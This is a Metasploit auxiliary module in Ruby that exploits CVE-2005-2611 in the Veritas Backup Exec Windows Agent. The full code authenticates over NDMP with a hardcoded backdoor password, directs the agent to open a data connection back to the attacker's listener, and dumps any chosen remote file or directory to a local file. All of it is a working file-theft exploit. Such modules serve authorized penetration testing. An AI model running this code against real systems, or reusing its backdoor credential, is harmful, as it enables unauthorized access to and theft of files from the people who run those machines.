##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::NDMP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Veritas Backup Exec Windows Remote File Access',
        'Description' => %q{
          This module abuses a logic flaw in the Backup Exec Windows Agent to download
          arbitrary files from the system. This flaw was found by someone who wishes to
          remain anonymous and affects all known versions of the Backup Exec Windows Agent. The
          output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program
          listed in the references section. To transfer an entire directory, specify a
          path that includes a trailing backslash.
        },
        'Author' => [ 'hdm', 'Unknown' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2005-2611'],
          ['OSVDB', '18695'],
          ['BID', '14551'],
          ['URL', 'https://web.archive.org/web/20120227144337/http://www.fpns.net/willy/msbksrc.lzh'],
        ],
        'Actions' => [
          ['Download', { 'Description' => 'Download arbitrary file' }]
        ],
        'DefaultAction' => 'Download',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(10000),
        OptAddressLocal.new(
          'LHOST',
          [
            false,
            'The local IP address to accept the data connection'
          ]
        ),
        OptPort.new(
          'LPORT',
          [
            false,
            'The local port to accept the data connection'
          ]
        ),
        OptString.new(
          'RPATH',
          [
            true,
            'The remote filesystem path to download',
            'C:\\Windows\\win.ini'
          ]
        ),
        OptString.new(
          'LPATH',
          [
            true,
            'The local filename to store the exported data',
            'backupexec_dump.mtf'
          ]
        ),
      ]
    )
  end

  def run
    print_status("Attempting to retrieve #{datastore['RPATH']}...")

    lfd = File.open(datastore['LPATH'], 'wb')

    connect
    data = ndmp_recv
    if !data
      print_error('Did not receive a response from the agent')
      disconnect
      return
    end

    username = 'root'
    password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"

    #
    # Authenticate using the backdoor password
    #
    auth = [
      1,
      Time.now.to_i,
      0,
      0x0901,
      0,
      0,
      2,
      username.length,
      username,
      password
    ].pack('NNNNNNNNA*A*')

    print_status('Sending magic authentication request...')
    ndmp_send(auth)
    data = ndmp_recv
    if !data
      print_error('Did not receive a response to our authentication request')
      disconnect
      return
    end

    #
    # Create our listener for the data connection
    #
    print_status('Starting our data listener...')
    sfd = Rex::Socket.create_tcp_server(
      'LocalPort' => datastore['LPORT']
    )

    local_addr = datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
    local_port = sfd.getsockname[2]

    #
    # Create the DATA_CONNECT request
    #
    conn = [
      3,
      0,
      0,
      0x040a,
      0,
      0,
      1,
      Rex::Socket.resolv_nbo(local_addr, false),
      local_port
    ].pack('NNNNNNNA4N')

    print_status('Sending data connection request...')
    ndmp_send(conn)
    data = ndmp_recv
    if !data
      print_error('Did not receive a response to our data connection request')
      sfd.close
      disconnect
      return
    end

    #
    # Wait for the agent to connect back
    #
    print_status('Waiting for the data connection...')
    rfd = sfd.accept
    sfd.close

    #
    # Create the Mover Set Record Size request
    #
    msrs = [
      4,
      0,
      0,
      0x0a08,
      0,
      0,
      0x8000
    ].pack('NNNNNNN')

    print_status('Sending transfer parameters...')
    ndmp_send(msrs)
    data = ndmp_recv
    if !data
      print_error('Did not receive a response to our parameters request')
      disconnect
      return
    end

    #
    # Define our transfer parameters
    #
    xenv =
      [
        ['USERNAME', ''],
        ['BU_EXCLUDE_ACTIVE_FILES', '0'],
        ['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"]
      ]

    #
    # Create the DATA_START_BACKUP request
    #
    bkup = [
      5,
      0,
      0,
      0x0401,
      0,
      0,
      4
    ].pack('NNNNNNN')
    bkup += 'dump'
    bkup += [ xenv.length ].pack('N')

    #
    # Encode the transfer parameters
    #
    xenv.each do |e|
      k, v = e

      # Variable
      bkup += [k.length].pack('N')
      bkup += k
      bkup += Rex::Encoder::NDR.align(k)

      # Value
      bkup += [v.length].pack('N')
      bkup += v
      bkup += Rex::Encoder::NDR.align(v)
    end

    bkup[-1, 1] = "\x01"

    print_status('Sending backup request...')
    ndmp_send(bkup)
    data = ndmp_recv
    if !data
      print_error('Did not receive a response to our backup request')
      disconnect
      return
    end

    #
    # Create the GET_ENV request
    #
    genv = [
      5,
      0,
      0,
      0x4004,
      0,
      0
    ].pack('NNNNNN')

    print_status('Sending environment request...')
    ndmp_send(genv)
    data = ndmp_recv
    if !data
      print_error('Did not receive a response to our environment request')
      disconnect
      return
    end

    #
    # Start transferring data
    #
    print_status('Transferring data...')
    bcnt = 0

    begin
      while (data = rfd.get_once)
        bcnt += data.length
        lfd.write(data)
      end
    rescue ::EOFError => e
      vprint_error(e.message)
    end

    lfd.close
    rfd.close

    print_status("Transferred #{bcnt} bytes.")
    disconnect
  end
end
